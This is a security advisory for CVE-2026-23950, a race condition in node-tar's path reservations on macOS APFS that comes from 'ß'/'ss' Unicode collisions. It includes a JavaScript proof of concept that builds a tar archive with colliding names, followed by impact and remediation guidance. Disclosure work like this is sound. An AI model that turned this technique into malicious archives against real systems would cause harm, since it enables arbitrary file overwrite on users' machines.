CVE-2026-23950: node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash bash-3.2$ printf "CONTENTSS\n" > collisiontestss bash-3.2$ ls collisiontestss bash-3.2$ printf "CONTENTESSZETT\n" > collisiontestß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collisiontestss bash-3.2$
---
PoC
javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream');
const exploitDir = path.resolve('raceexploitdir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir);
console.log('[] Testing...'); console.log([] Extraction target: ${exploitDir});
// Construct stream const stream = new PassThrough();
const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000);
// Key 1: "fss" const header1 = new tar.Header({ path: 'collisionss', mode: 0o644, size: contentA.length, }); header1.encode();
// Key 2: "fß" const header2 = new tar.Header({ path: 'collisionß', mode: 0o644, size: contentB.length, }); header2.encode();
// Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End stream.write(Buffer.alloc(1024)); stream.end();
// Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 });
stream.pipe(extract);
extract.on('end', () => { console.log('[] Extraction complete');
// Check what exists const files = fs.readdirSync(exploitDir); console.log('[] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})); });
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[] GOOD'); } else { console.log('[-] No collision'); } });
---
Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
---
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---
Other sources
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/tarto a version that resolves this vulnerability.Fixed in 7.5.4 - Upgrade
Upgrade
node-tarto a version that resolves this vulnerability.Fixed in 7.5.4 - Configuration
As a workaround when unable to upgrade to node-tar v7.5.4, filter out all `SymbolicLink` entries from the tarball before extraction to defend against arbitrary file overwrite via the Unicode path collision race condition.
node-tar extraction logic filter_entries = exclude SymbolicLink entries - Configuration
Update `path-reservations.js` to compute reservation keys using a normalization form that matches the target filesystem’s behavior (e.g., `NFKD`), followed by `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')` (this is the fix described for the patch in v7.5.4).
node-tar PathReservations (path-reservations.js) path normalization + case mapping used for reservation keys = NFKD then toLocaleLowerCase('en') then toLocaleUpperCase('en')
Event History
Frequently Asked Questions
What is the severity of CVE-2026-23950?
CVE-2026-23950 has been classified as a high severity vulnerability due to the potential for a race condition that can lead to unauthorized access or manipulation of files.
How do I fix CVE-2026-23950?
To fix CVE-2026-23950, update the node-tar package to version 7.5.4 or later, which addresses the Unicode path reservation issue.
What software is affected by CVE-2026-23950?
CVE-2026-23950 affects node-tar versions up to and including 7.5.3.
What is the nature of the vulnerability in CVE-2026-23950?
CVE-2026-23950 is a race condition vulnerability that arises from the incomplete handling of Unicode path collisions in the path-reservations system.
On which operating system does CVE-2026-23950 primarily impact?
CVE-2026-23950 primarily impacts systems running macOS that utilize the APFS file system.